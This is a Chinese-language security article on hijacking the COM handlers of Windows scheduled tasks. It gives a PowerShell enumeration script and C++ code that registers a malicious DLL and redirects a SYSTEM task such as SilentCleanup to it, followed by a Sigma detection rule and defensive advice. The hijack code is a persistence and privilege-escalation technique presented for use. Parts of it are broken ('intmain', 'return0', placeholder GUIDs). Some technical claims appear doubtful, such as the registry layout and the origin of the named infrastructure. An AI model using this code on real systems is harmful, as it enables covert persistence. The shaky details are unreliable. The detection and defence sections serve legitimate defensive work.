摘要

Windows 计划任务早已超越“定时执行脚本”的原始范畴。自 Windows 10 1607 引入统一后台任务基础设施(UBTI)后,大量系统与第三方任务被悄然迁移至 COM 组件驱动的新架构,由 taskhostw.exe 进程承载。这一变革在提升可靠性的同时,也将攻击面从 XML 配置文件扩展到了 COM 注册表与 DLL 加载路径。攻击者不再需要写入恶意脚本,而仅需劫持一个计划任务所引用的 COM CLSID,即可将系统原生的合法任务转化为隐蔽的持久化触发器。

UBTI架构

传统计划任务模型

长久以来,Windows 计划任务的核心引擎是 Schedule 服务(schedsvc.dll),运行在 svchost.exe -k netsvcs 共享进程中。任务定义以 XML 格式存储于 C:\Windows\System32\Tasks 目录,管理员通过 schtasks.exe 命令行工具或任务计划程序 MMC 管理单元进行管理。执行时,传统任务启动一个独立的进程(如 cmd.exe /c script.bat),其生命周期完全可见于进程树中。

这种模型简单明了,但也存在明显局限:失败重试机制脆弱、任务隔离性差、对触发条件的响应不够精细。更关键的是,随着 Windows 向“系统即服务”演进,大量后台维护工作(如磁盘整理、系统诊断、Windows 更新后任务)需要更高级的执行容器。

统一后台任务基础设施

Windows 10 版本 1607 引入了统一后台任务基础设施(Unified Background Task Infrastructure,UBTI),作为“后台任务现代化”工程的核心组件。UBTI 并非替换计划任务调度器,而是为其增加了一套全新的执行路径。

在 UBTI 模型下,一个计划任务可以注册为COM 任务——其操作不是启动一个可执行文件,而是实例化一个实现了 ITaskHandler 接口的 COM 组件。该接口定义了两个核心方法:

  • Start:接收任务触发信息,执行任务逻辑。
  • Stop:接收任务取消请求,执行清理。

任务的实际执行者不再是 cmd.exe 或用户指定的可执行文件,而是 COM 代理进程 taskhostw.exe。该进程以当前用户的会话权限运行(部分系统任务以 SYSTEM 权限运行),充当 COM 对象的宿主。taskhostw.exe 本身仅是一个承载框架,真正的任务逻辑封装在 COM DLL 中。

为何 UBTI 对攻击者具有吸引力

这种架构迁移为攻击者开辟了多个新的攻击面:

  • 注册表攻击路径:计划任务的 COM 配置信息存储在注册表中,路径为 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}。其中的 ComHandler 子键包含 COM CLSID 和参数。若攻击者获取了管理员权限,可篡改该 CLSID 指向恶意 DLL。
  • 隐蔽性:恶意操作不会创建新进程,而是在已有的 taskhostw.exe 进程中加载恶意 DLL。进程树分析难以定位异常,因为宿主进程本身是合法的系统进程。
  • 持久化:系统级别的计划任务(如磁盘清理、更新协调器)每天自动触发,为恶意代码提供了可靠的“心跳”机制,且不受用户登录/注销影响。
  • 绕过应用白名单:若攻击者劫持了已由 AppLocker 或 WDAC 放行的任务,其加载的恶意 DLL 可能继承相同的信任上下文,从而逃避执行限制。

COM 任务劫持

寻找攻击切入点

攻击者通常从以下两类场景入手:

  1. 已获得管理员权限的后渗透阶段:攻击者已拥有管理员权限,希望建立隐蔽持久化。他们可以枚举系统中已有的 COM 任务,寻找那些签名为“友好”的任务(如 Microsoft\Windows\DiskCleanup\SilentCleanup),将其 COM 处理程序替换为恶意 DLL。
  2. 权限提升路径:若攻击者拥有一个具备注册表写入权限的低权限用户(例如通过路径遍历漏洞写入了 HKLM),他们可以修改任务的 COM CLSID,迫使 taskhostw.exe 加载恶意 DLL,而该 DLL 将运行在任务自身的权限上下文中(可能是 SYSTEM),从而实现权限提升。

注册表攻击面测绘

与 COM 任务相关的注册表键值分布如下:

注册表路径
键值
含义
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}ComHandler
包含子键 Clsid 和 Data,定义 COM 组件
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}Id
任务的 GUID 引用
HKCR\CLSID\{CLSID}\InprocServer32(Default)
COM 组件 DLL 路径
HKLM\SOFTWARE\Classes\AppID\{AppID}RunAs
设置组件运行身份(如 Interactive User)

攻击者可修改 ComHandler 下的 Clsid 值,将其指向一个由攻击者注册的 COM 对象,或者在 HKCR\CLSID\ 下直接修改合法组件的 InprocServer32 路径,使其加载恶意 DLL。

DiskCleanup 任务劫持

Microsoft\Windows\DiskCleanup\SilentCleanup 是一个经典的被滥用系统任务。它以 SYSTEM 权限运行,在磁盘空间不足时触发。默认情况下,其 COM 处理程序为 {e135b523-cb57-44de-9df8-c16e66ac4e3f},对应 C:\Windows\System32\schtasks.exe(通过某些 COM 代理)。

通过篡改其 Clsid 为攻击者注册的组件,即可在 taskhostw.exe 的 SYSTEM 实例中加载恶意 DLL。

核心利用代码

枚举可劫持的 COM 任务

<#
.SYNOPSIS
  枚举所有使用 COM 处理程序的计划任务,并列出其 CLSID。
  帮助识别可劫持目标。
#>

$TaskPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\"

Get-ChildItem $TaskPath | ForEach-Object {
    $taskGuid = $_.PSChildName
    $comHandler = Get-ItemProperty -Path "$($_.PSPath)\ComHandler" -ErrorAction SilentlyContinue
    if ($comHandler) {
        $taskName = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\*" |
                     Where-Object { $_.Id -eq $taskGuid }).PSChildName
        [PSCustomObject]@{
            TaskName = $taskName
            TaskGUID = $taskGuid
            COM_CLSID = $comHandler.Clsid
            COM_Data  = $comHandler.Data
        }
    }
} | Format-Table -AutoSize

注册恶意 COM 组件并劫持任务

/**
 * com_hijack.cpp — COM 计划任务劫持
 * 步骤:
 * 1. 注册恶意 COM DLL(实现 ITaskHandler 接口)
 * 2. 修改目标任务的 ComHandler Clsid 指向该组件
 * 编译: cl /EHsc com_hijack.cpp /link ole32.lib advapi32.lib
 */

#include<windows.h>
#include<taskschd.h>  // 需要安装 Windows SDK
#include<iostream>

// 目标任务的 GUID(以 SilentCleanup 为例)
const GUID TARGET_TASK_GUID = { 0x... };  // 实际使用中枚举获取

// 恶意 COM 组件的 CLSID(自行生成)
// {12345678-1234-1234-1234-123456789ABC}
const GUID MALICIOUS_CLSID = { 0x12345678, 0x1234, 0x1234,
    { 0x12, 0x34, 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC } };

// 注册恶意 COM DLL(假设 DLL 路径为 C:\evil.dll)
HRESULT RegisterMaliciousCOM(){
    HKEY hKey;
// 创建 CLSID 键
    RegCreateKeyExW(HKEY_CLASSES_ROOT,
L"CLSID\\{12345678-1234-1234-1234-123456789ABC}\\InprocServer32",
0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
// 设置 DLL 路径
const WCHAR* dllPath = L"C:\\evil.dll";
    RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)dllPath,
                   (wcslen(dllPath) + 1) * sizeof(WCHAR));
    RegCloseKey(hKey);
return S_OK;
}

// 修改任务注册表中的 ComHandler Clsid
HRESULT HijackTaskCOM(){
    WCHAR regPath[256];
    swprintf_s(regPath, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\"
L"Schedule\\TaskCache\\Tasks\\{GUID-...}\\ComHandler");

    HKEY hKey;
    RegOpenKeyExW(HKEY_LOCAL_MACHINE, regPath, 0, KEY_WRITE, &hKey);

// 将 Clsid 值改为恶意组件的 GUID 字符串
    WCHAR newClsid[64];
    StringFromGUID2(MALICIOUS_CLSID, newClsid, 64);
    RegSetValueExW(hKey, L"Clsid", 0, REG_SZ,
                   (const BYTE*)newClsid, (wcslen(newClsid) + 1) * sizeof(WCHAR));

    RegCloseKey(hKey);
return S_OK;
}

intmain(){
    CoInitialize(NULL);
    RegisterMaliciousCOM();
    HijackTaskCOM();
std::cout << "[+] COM task hijacked. Payload will fire on next trigger." << std::endl;
    CoUninitialize();
return0;
}

检测规则

title: 计划任务 COM 处理程序被篡改
id: 2b6c7d8e-1a2b-3c4d-5e6f-7a8b9c0d1e2f
status: experimental
description: 检测计划任务注册表中 ComHandler 的 Clsid 值被修改
logsource:
  product: windows
  category: registry_event
detection:
  selection:
    EventID: 13  # Registry value set
    TargetObject|contains: '\Schedule\TaskCache\Tasks\'
    TargetObject|endswith: '\ComHandler\Clsid'
  filter_legitimate:
# 排除已知系统更新期间的修改,可根据环境调整
    Image|contains: 'TrustedInstaller.exe'
  condition: selection and not filter_legitimate
level: high

防御

最小权限原则

  • 严格限制管理员权限,防止攻击者修改 HKLM 中的任务注册表。
  • 对 taskhostw.exe 的 DLL 加载路径实施安全策略(如通过 WDAC 拒绝非系统路径 DLL 加载)。

完整性监控

  • 部署文件/注册表完整性监控(如 Sysmon 或 Microsoft Defender for Endpoint),对计划任务注册表键的所有修改发出警报。
  • 定期审计现有任务的 COM 处理程序,建立基线,发现偏差。

行为检测

  • 监控 taskhostw.exe 加载非 Microsoft 签名的 DLL 或从临时目录加载 DLL 的行为。
  • 关联 taskhostw.exe 的网络连接与文件写入操作,发现异常。

结语

Windows 计划任务的现代化改造在提升系统维护效率的同时,也悄然将一条高特权的执行管道暴露给了攻击者。COM 任务劫持之所以危险,不在于它提供了新的漏洞,而在于它滥用了操作系统“自己调用自己”的信任模型——系统任务、合法进程、定时触发,一切看起来都无比正常。